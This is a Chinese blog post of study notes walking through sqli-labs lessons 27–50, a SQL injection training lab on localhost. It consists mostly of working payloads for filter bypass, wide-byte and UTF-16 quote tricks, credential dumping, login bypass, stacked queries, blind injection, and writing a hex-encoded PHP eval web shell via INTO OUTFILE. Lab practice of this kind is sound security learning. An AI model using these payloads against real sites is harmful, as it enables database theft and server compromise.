[sqli-labs] 学习2
2018-11-16 本文已影响0人
2mpossible
less-27
- 比上一关多加了union,select的过滤，只要大小写混杂就可以绕过
#判断正确
http://localhost/sqli-labs-7.2/Less-27/?id=1'=(left((seLect(group_concat(@@version))),1)='5')='1
#判断错误
http://localhost/sqli-labs-7.2/Less-27/?id=1'=(left((seLect(group_concat(@@version))),1)='a')='1
less-27a
- 跟27关一样，改的只是闭合符
- 判断正确回显
- 判断错误回显
less-28
- 我感觉跟27关没什么大区别，仅仅是改了闭合符，而且好像还不单独过滤select了
http://localhost/sqli-labs-7.2/Less-28?id=1'=(left((seLect(group_concat(@@version))),1)='5')='1
less-28a
- 过滤条件比上一关还少，只过滤了union select这种组合，把空格改成括号就行了，或者直接用28关的也行
http://localhost/sqli-labs-7.2/Less-28a?id=-1') union(select 1,2,group_concat(username) from users) %23
less-29
- 利用tomcat解析第一个参数，apache解析最后一个参数来进行注入
#爆用户
http://127.0.0.1:8001/sqli-labs/Less-29/index.jsp?id=1&id=-2'union select 1,user(),3--+
#爆数据库名
http://127.0.0.1:8001/sqli-labs/Less-29/index.jsp?id=1&id=-2'union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+
#爆数据表名
http://127.0.0.1:8001/sqli-labs/Less-29/index.jsp?id=1&id=-2'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),3--+
#爆数据段名
http://127.0.0.1:8001/sqli-labs/Less-29/index.jsp?id=1&id=-2'union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 'users'),3--+
#爆数据
http://127.0.0.1:8001/sqli-labs/Less-29/index.jsp?id=1&id=-2'union select 1,(select group_concat(username) from users),3--+
http://127.0.0.1:8001/sqli-labs/Less-29/index.jsp?id=1&id=-2'union select 1,(select group_concat(password) from users),3--+
less-30
- 跟29关一样，闭合符变成了"
http://127.0.0.1:8001/sqli-labs/Less-30/index.jsp?id=1&id=-2"union select 1,(select group_concat(password) from users),3--+
less-31
- 还是跟29关一样，闭合符变成了")
http://127.0.0.1:8001/sqli-labs/Less-31/index.jsp?id=1&id=-2")union select 1,(select group_concat(password) from users),3--+
less-32
- 前面的'利用宽字节绕过，后面的'用十六进制编码绕过
#爆用户名
http://127.0.0.1/sqli-labs/Less-32/?id=-1%df'union select 1,(user()),3--+
#爆数据库
http://127.0.0.1/sqli-labs/Less-32/?id=-1%df'union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+
#爆数据表名
http://127.0.0.1/sqli-labs/Less-32/?id=-1%df'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 0x7365637572697479),3--+
#爆数据段名
http://127.0.0.1/sqli-labs/Less-32/?id=-1%df'union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 0x7573657273),3--+
#爆数据
http://127.0.0.1/sqli-labs/Less-32/?id=-1%df'union select 1,(select group_concat(username) from users),3--+
http://127.0.0.1/sqli-labs/Less-32/?id=-1%df'union select 1,(select group_concat(password) from users),3--+
less-33
- 跟32关一样...
less-34
- 将 utf-8 转换为 utf-16 或 utf-32，例如将 ’ 转为 utf-16 为%ff%fe%27直接用万能密码绕过登陆
>>> '\''.encode('utf-16')
"\xff\xfe'\x00"
less-35
- 跟33关差不多，但是没有闭合符号，所以不用考虑绕过addslashes函数
#爆数据库名
http://127.0.0.1/sqli-labs/Less-35?id=-1 union select 1,group_concat(schema_name) , 3 from information_schema.schemata %23
#爆数据库表名
http://127.0.0.1/sqli-labs/Less-35?id=-1 union select 1,group_concat(table_name) , 3 from information_schema.tables where table_schema = 0x7365637572697479 %23
#爆数据库段名
http://127.0.0.1/sqli-labs/Less-35?id=-1 union select 1,group_concat(column_name) , 3 from information_schema.columns where table_name = 0x7573657273 %23
#爆数据
http://127.0.0.1/sqli-labs/Less-35?id=-1 union select 1,group_concat(username) , 3 from users %23
http://127.0.0.1/sqli-labs/Less-35?id=-1 union select 1,group_concat(password) , 3 from users %23
less-36
- 由于mysql没有设置编码为gbk而数据段name编码为gbk，所以可以利用前面%df%27或者utf-16,utf-32编码来绕过mysql_real_eacape_string函数
#爆数据库名
http://127.0.0.1/sqli-labs/Less-36?id=-1%df' union select 1,group_concat(schema_name),3 from information_schema.schemata %23
less-37
- 跟34关一个思路，用万能密码登陆
uname=%ff%fe%27 or 1=1 %23 &passwd=dumb&submit=Submit
less-38
- 使用堆叠注入往表里成功插入数据
http://127.0.0.1/sqli-labs/Less-38?id=1';insert into users(id,username,password) values('17','aaa','bbb'); %23
less-39
- 相对38关而言，少了闭合符
http://127.0.0.1/sqli-labs/Less-39?id=1 ;insert into users(id,username,password) values('17','aaa','bbb'); %23
less-40
- 相对39关，改了闭合符为')
http://127.0.0.1/sqli-labs/Less-40?id=1') ;insert into users(id,username,password) values('17','aaa','bbb'); %23
less-41
- 跟39关的差别就是不报错，只能通过and 1=1和and 1=2回显来判断是否注入成功
http://127.0.0.1/sqli-labs/Less-41?id=1 ;insert into users(id,username,password) values('17','aaa','bbb'); %23
less-42
login_user=a &login_password=c';create table test(id INT,name varchar(100)) %23 ; &mysubmit=Login
- 创建一个table
- 删除一个table
less-43
- 相较于42关换了闭合符
login_user=a &login_password=c') ;create table test(id INT,name varchar(100)) %23 ; &mysubmit=Login
less-44
- 跟42关一样，只不过是基于盲注的
less-45
- 跟44关一类型，闭合符变了而已
login_user=a &login_password=c') ;create table test(id INT,name varchar(100)) %23 ; &mysubmit=Login
less-46
- order by后面的注入，可以利用报错注入，延时注入
#由于版本问题，下面这种报错注入只能获取版本，不能获取更多的信息
http://127.0.0.1/sqli-labs/Less-46/?sort=1 and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x) %23
#报错注入
http://127.0.0.1/sqli-labs/Less-46?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2))) %23
#延时注入
http://127.0.0.1/sqli-labs/Less-46?sort=1 and if(ascii(substr(database(),1,1)) = 116 , 0 , sleep(1) ) %23
http://127.0.0.1/sqli-labs/Less-46?sort= (select if(substring(current,1,1) = char(115) , benchmark(50000000,md5('1')),null) from (select database() as current ) as tb1 ) %23
#导出文件
http://127.0.0.1/sqli-labs/Less-46?sort=1 into outfile '/Users/hacker-mao/Documents/MAMP/2.php' %23
#写文件
http://127.0.0.1/sqli-labs/Less-46?sort=1 into outfile '/Users/hacker-mao/Documents/MAMP/3.php' lines terminated by 0x3c3f70687020406576616c28245f706f73745b22313233225d293f3e %23
less-47
- 跟46关比换了闭合符
#报错注入
http://127.0.0.1/sqli-labs/Less-47/?sort=1' and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2))) %23
#延时注入
http://127.0.0.1/sqli-labs/Less-47/?sort=1' and if(ascii(substr(database(),1,1)) = 116 , 0 , sleep(1) ) %23
#导出文件
http://127.0.0.1/sqli-labs/Less-47/?sort=1' into outfile '/Users/hacker-mao/Documents/MAMP/2.php' %23
#写文件
http://127.0.0.1/sqli-labs/Less-47?sort=1' into outfile '/Users/hacker-mao/Documents/MAMP/3.php' lines terminated by 0x3c3f70687020406576616c28245f706f73745b22313233225d293f3e %23
less-48
- 跟46关比不报错，所以是盲注，用延时注入即可
#延时注入
http://127.0.0.1/sqli-labs/Less-48?sort=1 and if(ascii(substr(database(),1,1)) = 116 , 0 , sleep(1) ) %23
#或者用into outfile写文件
http://127.0.0.1/sqli-labs/Less-48?sort=1 into outfile "/Users/hacker-mao/Documents/MAMP/4.php" %23
#用lines terminated by写文件
http://127.0.0.1/sqli-labs/Less-48?sort=1 into outfile '/Users/hacker-mao/Documents/MAMP/3.php' lines terminated by 0x3c3f70687020406576616c28245f706f73745b22313233225d293f3e %23
less-49
- 跟47关相比不报错，也同样是盲注，用延时注入
#延时注入
http://127.0.0.1/sqli-labs/Less-49?sort=1' and if(ascii(substr(database(),1,1)) = 116 , 0 , sleep(1) ) %23
#用into outfile写文件
http://127.0.0.1/sqli-labs/Less-49?sort=1' into outfile '/Users/hacker-mao/Documents/MAMP/2.php' %23
#用lines terminated by写文件
http://127.0.0.1/sqli-labs/Less-49?sort=1' into outfile '/Users/hacker-mao/Documents/MAMP/3.php' lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020 %23
less-50
- 看着跟46关差不多，主要区别就是这关使用了mysqli_multi_query()函数
#延时注入
http://127.0.0.1/sqli-labs/Less-50/?sort=1 and if(ascii(substr(database(),1,1)) = 116 , 0 , sleep(1) ) %23
http://127.0.0.1/sqli-labs/Less-50?sort= (select if(substring(current,1,1) = char(115) , benchmark(50000000,md5('1')),null) from (select database() as current ) as tb1 ) %23
#用into outfile写文件
http://127.0.0.1/sqli-labs/Less-50?sort=1 into outfile '/Users/hacker-mao/Documents/MAMP/2.php' %23
#用lines terminated by写文件
http://127.0.0.1/sqli-labs/Less-50?sort=1 into outfile '/Users/hacker-mao/Documents/MAMP/3.php' lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020 %23
- order by stacked injection！执行sql语句我们这里使用的是mysqli_multi_query()函数，而之前我们使用的是mysqli_query()，区别在于mysqli_multi_query()可以执行多个sql语句，而mysqli_query()只能执行一个sql语句，那么我们此处就可以执行多个sql语句进行注入，也就是我们之前提到的statcked injection
http://127.0.0.1/sqli-labs/Less-50?sort=1 ; create table test like users;
